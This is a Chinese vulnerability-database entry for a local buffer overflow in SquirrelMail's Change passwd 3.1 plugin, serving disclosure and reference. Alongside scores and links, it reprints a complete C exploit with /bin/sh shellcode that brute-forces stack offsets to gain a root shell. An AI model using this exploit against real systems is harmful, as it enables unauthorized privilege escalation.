CVE-2006-0331
CVSS4.6
发布时间 :2006-01-20 19:03:00
修订时间 :2008-09-05 16:58:57
NMCOE    

[原文]Buffer overflow in Change passwd 3.1 (chpasswd) SquirrelMail plugin allows local users to execute arbitrary code via long command line arguments.


[CNNVD]Change passwd SquirrelMail插件中缓冲区溢出漏洞(CNNVD-200601-269)

        Change passwd 3.1 (chpasswd) SquirrelMail插件中存在缓冲区溢出,本地用户可以通过长命令行参数执行任意代码。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0331
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0331
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200601-269
(官方数据源) CNNVD

- 其它链接及资源

http://www.squirrelmail.org/plugin_view.php?id=117
(UNKNOWN)  MISC  http://www.squirrelmail.org/plugin_view.php?id=117
http://www.securityfocus.com/archive/1/archive/1/422414/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060119 Change passwd 3.1 (SquirrelMail plugin )
http://xforce.iss.net/xforce/xfdb/24258
(UNKNOWN)  XF  changepassword-changepasswd-bo(24258)
http://securityreason.com/securityalert/363
(UNKNOWN)  SREASON  363

- 漏洞信息

Change passwd SquirrelMail插件中缓冲区溢出漏洞
中危 缓冲区溢出
2006-01-20 00:00:00 2006-01-30 00:00:00
本地  
        Change passwd 3.1 (chpasswd) SquirrelMail插件中存在缓冲区溢出,本地用户可以通过长命令行参数执行任意代码。

- 公告与补丁

        

- 漏洞信息 (1449)

SquirrelMail 3.1 Change Passwd Plugin Local Buffer Overflow Exploit (EDBID:1449)
linux local
2006-01-25 Verified
0 rod hedor
N/A [点击下载]
/*
Change passwd  3.1 (SquirrelMail plugin )

Coded by rod hedor

web-- http://lezr.com

[local exploit]

 * Multiple buffer overflows are present in the handling of command line arguements in chpasswd.
  The bug allows a hacker to exploit the process to run arbitrary code.
*/

#include <stdio.h>
#include <stdlib.h>

const char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
                      "\x89\xe5\x31\xc0\x50\x55\x89\xe5"
                      "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
                      "\x2f\x62\x69\x89\xe3\x89\xe9\x89"
                      "\xea\xb0\x0b\xcd\x80";

long get_sp(){
       __asm__("movl %esp,%eax;");
};

int main(){
       char buffer[1024];
       long stack = get_sp();
       int result = 1;
       long offset = 0;
       printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploit\n");
       printf ("[+] Current stack [0x%x]\n",stack);
       while(offset <= 268435456){
       offset = offset + 1;
       stack = get_sp() + offset;
       memcpy(&buffer,"EGG=",4);
       int a = 4;
       while(a <= 108){
               memcpy(&buffer[a],"x",1);
               a = a + 1;}
       memcpy(&buffer[108],&stack,4);
       memcpy(&buffer[112],&shellcode,sizeof(shellcode));
       putenv(buffer);
       result = system("./chpasswd $EGG");
       if(result == 0){exit(0);};
       };
};

// milw0rm.com [2006-01-25]
		

- 漏洞信息

27905
SquirrelMail Change Passwd Plugin chpasswd Local Overflow
Input Manipulation
Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-01-19 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站